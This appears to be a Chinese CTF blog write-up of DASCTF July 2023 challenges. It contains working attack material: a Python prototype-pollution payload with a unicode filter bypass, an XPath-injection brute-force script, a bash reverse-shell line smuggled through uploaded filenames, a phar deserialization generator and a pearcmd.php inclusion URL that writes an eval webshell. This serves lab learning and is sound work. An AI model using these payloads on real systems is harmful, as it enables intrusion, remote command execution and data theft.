【DASCTF7月赛】

本文最后更新于:2023年8月25日 下午

[TOC]

[DASCTF7月赛]

misc

Coffee desu!

hint1: Strange Protocol

image-20230724154636387

经过搜索,发现这个是一种恶搞协议:image-20230724155819170

自定义了一些请求方式

image-20230724155830547

结合首页英文:

1
You should add the milktea before getting the coffee!

我们需要使用BREW向服务器添加milktea

image-20230724155935139

返回:

1
The resource identified by the request is only capable of generating response entities which have content characteristics not acceptable according to the accept headers sent in the request.

image-20230724160051850

这个协议定义了:Accept-Additions头,于是我们添加上:milktea

image-20230724160137612

添加之后我们使用GET将其取出:

image-20230724160219054

web

ezFlask

源码:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
import uuid

from flask import Flask, request, session
from secret import black_list
import json

app = Flask(__name__)
app.secret_key = str(uuid.uuid4())

def check(data):
for i in black_list:
if i in data:
return False
return True

def merge(src, dst):
for k, v in src.items():
if hasattr(dst, '__getitem__'):
if dst.get(k) and type(v) == dict:
merge(v, dst.get(k))
else:
dst[k] = v
elif hasattr(dst, k) and type(v) == dict:
merge(v, getattr(dst, k))
else:
setattr(dst, k, v)

class user():
def __init__(self):
self.username = ""
self.password = ""
pass
def check(self, data):
if self.username == data['username'] and self.password == data['password']:
return True
return False

Users = []

@app.route('/register',methods=['POST'])
def register():
if request.data:
try:
if not check(request.data):
return "Register Failed"
data = json.loads(request.data)
if "username" not in data or "password" not in data:
return "Register Failed"
User = user()
merge(data, User)
Users.append(User)
except Exception:
return "Register Failed"
return "Register Success"
else:
return "Register Failed"

@app.route('/login',methods=['POST'])
def login():
if request.data:
try:
data = json.loads(request.data)
if "username" not in data or "password" not in data:
return "Login Failed"
for user in Users:
if user.check(data):
session["username"] = data["username"]
return "Login Success"
except Exception:
return "Login Failed"
return "Login Failed"

@app.route('/',methods=['GET'])
def index():
return open(__file__, "r").read()

if __name__ == "__main__":
app.run(host="0.0.0.0", port=5010)

这是一个flask框架的题,根路由是一个读文件函数,读取__file__里面的内容(源码),显示到首页

有一个check函数:遍历一下data中的值,如果在黑名单中就返回false,否则返回true

定义了一个user类,成员变量usernamepassword初值为空,类中定义了一个check函数,如果与输入的data中的相等才返回true

写了一个merge函数,这个函数是重点:

这个函数的作用是将两个字典对象 srcdst 进行合并。它逐个遍历 src 中的键值对,并根据一定的规则将其合并到 dst 中。

具体来说,函数执行以下操作:

  1. 对于 src 中的每个键值对 (k, v):

    • 如果 dst 是一个可索引的对象(如字典),并且 dst 中存在键 k,并且值类型 v 是字典类型,则使用递归调用 merge(v, dst[k])vdst[k] 进行合并。
    • 否则,将 v 赋值给 dst 的键 k
  2. 如果 dst 不是可索引的对象,而是一个具有属性的对象,则对于 src 中的每个键值对 (k, v):

    • 如果 dst 拥有属性 k,并且值类型 v 是字典类型,则使用递归调用 merge(v, getattr(dst, k))vdst 的属性 k 进行合并。
    • 否则,将 v 设置为 dst 的属性 k

简而言之,该函数通过递归地合并两个字典对象的键值对,将 src 中的内容合并到 dst 中,确保最终的 dst 包含 src 的所有键值对。

需要注意的是,该函数对于嵌套的字典结构特别有用,因为它可以处理深层嵌套的情况。但请注意在使用时确保 srcdst 的数据结构是可变的(mutable),否则可能会导致意外的结果。

register路由:json类型数据需要通过check()函数检查,如果其中没有usernamepassword则失败,否则创建一个用户,将data字典中的数据,添加到User字典中

这里主要需要关注这些代码

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
def merge(src, dst):
for k, v in src.items():
if hasattr(dst, '__getitem__'):
if dst.get(k) and type(v) == dict:
merge(v, dst.get(k))
else:
dst[k] = v
elif hasattr(dst, k) and type(v) == dict:
merge(v, getattr(dst, k))
else:
setattr(dst, k, v)


@app.route('/',methods=['GET'])
def index():
return open(__file__, "r").read()

这个题目乍一眼看好像无从下手,没有漏洞点,但是这里会产生类似覆盖的效果

经过搜索,知道了这是: Python原型链污染

文章里详细的讲述了,可以污染类中的属性值:

image-20230723230853867

这里我们截取到一段利用的payload:

1
2
3
4
5
6
7
8
9
10
11
{
"__init__" : {
"__globals__" : {
"app" : {
"config" : {
"SECRET_KEY" :"Polluted~"
}
}
}
}
}

这一段代码可以通过merge()自定义函数,污染flask中的SECRET_KEY

我们重新回到题目,分析一下我们实际可以污染根路由的文件的__file__属性,如果控制了这里就可以实现任意文件读取了

我们仿照上面的payload,构造出如下payload:

1
2
3
4
5
6
7
8
9
{
"__init__": {
"__globals__": {
"__file__":"app.py"
}
},
"username":"admin",
"password":"123"
}

这样就可以将__file__污染为app.py了,

但是经过尝试,发现失败了,原因是check()函数把__init__过滤了,没法用了

但是我们可以尝试编码绕过,json中可以使用unicode编码,我们使用cyberchef编码一下:

1
2
3
__init__

\u005F\u005F\u0069\u006E\u0069\u0074\u005F\u005F

这样就可以绕过了,然后非预期就是读一下/proc/1/environ得到flag:

image-20230723232308285

image-20230723232318074

预期解是通过任意文件读取,伪造flask的pin码,然后命令执行查询到flag

MyPicDisk

首先通过万能密码登录:

1
' or 1 or '1

但是这里需要在用户名处输入:

image-20230724134855252

下载:/y0u_cant_find_1t.zip

得到:index.php

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
<?php
session_start();
error_reporting(0);
class FILE{
public $filename;
public $lasttime;
public $size;
public function __construct($filename){
if (preg_match("/\//i", $filename)){
throw new Error("hacker!");
}
$num = substr_count($filename, ".");
if ($num != 1){
throw new Error("hacker!");
}
if (!is_file($filename)){
throw new Error("???");
}
$this->filename = $filename;
$this->size = filesize($filename);
$this->lasttime = filemtime($filename);
}
public function remove(){
unlink($this->filename);
}
public function show()
{
echo "Filename: ". $this->filename. " Last Modified Time: ".$this->lasttime. " Filesize: ".$this->size."<br>";
}
public function __destruct(){
system("ls -all ".$this->filename);
}
}
?>
<!DOCTYPE html>
<html>
<head>
<meta charset="UTF-8">
<title>MyPicDisk</title>
</head>
<body>
<?php
if (!isset($_SESSION['user'])){
echo '
<form method="POST">
username:<input type="text" name="username"></p>
password:<input type="password" name="password"></p>
<input type="submit" value="登录" name="submit"></p>
</form>
';
$xml = simplexml_load_file('/tmp/secret.xml');
if($_POST['submit']){
$username=$_POST['username'];
$password=md5($_POST['password']);
$x_query="/accounts/user[username='{$username}' and password='{$password}']";
$result = $xml->xpath($x_query);
if(count($result)==0){
echo '登录失败';
}else{
$_SESSION['user'] = $username;
echo "<script>alert('登录成功!');location.href='/index.php';</script>";
}
}
}
else{
if ($_SESSION['user'] !== 'admin') {
echo "<script>alert('you are not admin!!!!!');</script>";
unset($_SESSION['user']);
echo "<script>location.href='/index.php';</script>";
}
echo "<!-- /y0u_cant_find_1t.zip -->";
if (!$_GET['file']) {
foreach (scandir(".") as $filename) {
if (preg_match("/.(jpg|jpeg|gif|png|bmp)$/i", $filename)) {
echo "<a href='index.php/?file=" . $filename . "'>" . $filename . "</a><br>";
}
}
echo '
<form action="index.php" method="post" enctype="multipart/form-data">
选择图片:<input type="file" name="file" id="">
<input type="submit" value="上传"></form>
';
if ($_FILES['file']) {
$filename = $_FILES['file']['name'];
if (!preg_match("/.(jpg|jpeg|gif|png|bmp)$/i", $filename)) {
die("hacker!");
}
if (move_uploaded_file($_FILES['file']['tmp_name'], $filename)) {
echo "<script>alert('图片上传成功!');location.href='/index.php';</script>";
} else {
die('failed');
}
}
}
else{
$filename = $_GET['file'];
if ($_GET['todo'] === "md5"){
echo md5_file($filename);
}
else {
$file = new FILE($filename);
if ($_GET['todo'] !== "remove" && $_GET['todo'] !== "show") {
echo "<img src='../" . $filename . "'><br>";
echo "<a href='../index.php/?file=" . $filename . "&&todo=remove'>remove</a><br>";
echo "<a href='../index.php/?file=" . $filename . "&&todo=show'>show</a><br>";
} else if ($_GET['todo'] === "remove") {
$file->remove();
echo "<script>alert('图片已删除!');location.href='/index.php';</script>";
} else if ($_GET['todo'] === "show") {
$file->show();
}
}
}
}
?>
</body>
</html>

这里很明显需要知道:admin的密码才能够完成后续操作,

我们注意到这里:

1
2
3
4
5
6
7
8
9
10
11
12
$xml = simplexml_load_file('/tmp/secret.xml');
if($_POST['submit']){
$username=$_POST['username'];
$password=md5($_POST['password']);
$x_query="/accounts/user[username='{$username}' and password='{$password}']";
$result = $xml->xpath($x_query);
if(count($result)==0){
echo '登录失败';
}else{
$_SESSION['user'] = $username;
echo "<script>alert('登录成功!');location.href='/index.php';</script>";
}

这里对用户名处没有任何过滤就进行xpath查询,所以会导致xpath注入

xpath注入学习文章:https://xz.aliyun.com/t/7791?page=1#toc-0

由于这里密码被md5加密了,所以我们可以猜测密码为32位:

xpath查询语句如下:string-length代表查询字符串的长度

1
' or string-length((//user[position()=1]/password[position()=1]))=32 or '

image-20230724135657626

查询一下确实为32位

接下来写脚本查询password的值即可:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
import string
import time
import requests

s = string.printable

url = "http://d27bfc8b-3545-410a-9e7a-7446c02e9290.node4.buuoj.cn:81/index.php"
flag = ""

for i in range(1, 100):
for j in s:
time.sleep(0.1)
payload = "' or substring((//user[position()=1]/password[position()=1]),{},1)='{}' or '".format(i,j)
data = {
"username": payload,
"password": "123",
"submit": "%E7%99%BB%E5%BD%95"
}
res = requests.post(url, data=data)
# print(res.text)
if "成功" in res.text:
flag += j
print(flag)
break

# 003d7628772d6b57fec5f30ccbc82be1

使用:https://www.somd5.com/解密:

image-20230724135905246

15035371139

接下来登录就可以文件上传了:

文件上传为白名单waf:

1
2
3
if (!preg_match("/.(jpg|jpeg|gif|png|bmp)$/i", $filename)) {
die("hacker!");
}

FILE类中会对文件名进行检测,不能包含/和多个小数点

析构方法中命令执行:

1
2
3
public function __destruct(){
system("ls -all ".$this->filename);
}

我们可以利用它来反弹shell,首先上传一个文件名为:;a.jpg,内容为:

1
bash -i>& /dev/tcp/ip/9996 0>&1

然后再上传一个文件:;bash *a.jpg

点击这个文件就可以反弹shell了

也可以phar反序列化,没复现成功

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
<?php

class FILE{
public $filename;
public $lasttime;
public $size;
public function __construct($filename){
$this->filename = $filename;
}
}

$a = new FILE("/;cat /adjaskdhnask_flag_is_here_dakjdnmsakjnfksd");
$phartest=new phar('phartest.phar',0);
$phartest->startBuffering();
$phartest->setMetadata($a);
$phartest->setStub("<?php __HALT_COMPILER();?>");
$phartest->addFromString("test.txt","test");
$phartest->stopBuffering();

ez_cms

熊海cms

image-20230724153506508

经过查询得知,熊海cms首页存在文件包含漏洞:

1
2
3
4
5
6
7
<?php
//单一入口模式
error_reporting(0); //关闭错误显示
$file=addslashes($_GET['r']); //接收文件名
$action=$file==''?'index':$file; //判断为空或者等于index
include('files/'.$action.'.php'); //载入相应文件
?>

于是我们只要包含一个有用的文件即可,但这个有用的文件是什么呢?

这个文件是pearcmd.php,通过包含这个文件可以实现向服务器上写入shell进行rce的操作

可以参考:

image-20230724154032451

我们直接构造:(注意顺序)

1
/?+config-create+/&r=../../../../../../../../../../../../usr/share/php/pearcmd&/<?=phpinfo();eval($_POST[1]);?>+/tmp/leekos.php

这里需要通过相对路径来找到pearcmd.php(注意最后不需要加上.php

image-20230724154105538

成功写入,然后蚁剑包含拿flag


【DASCTF7月赛】
https://leekosss.github.io/2023/08/24/[DASCTF7月赛]/
作者
leekos
发布于
2023年8月24日
更新于
2023年8月25日
许可协议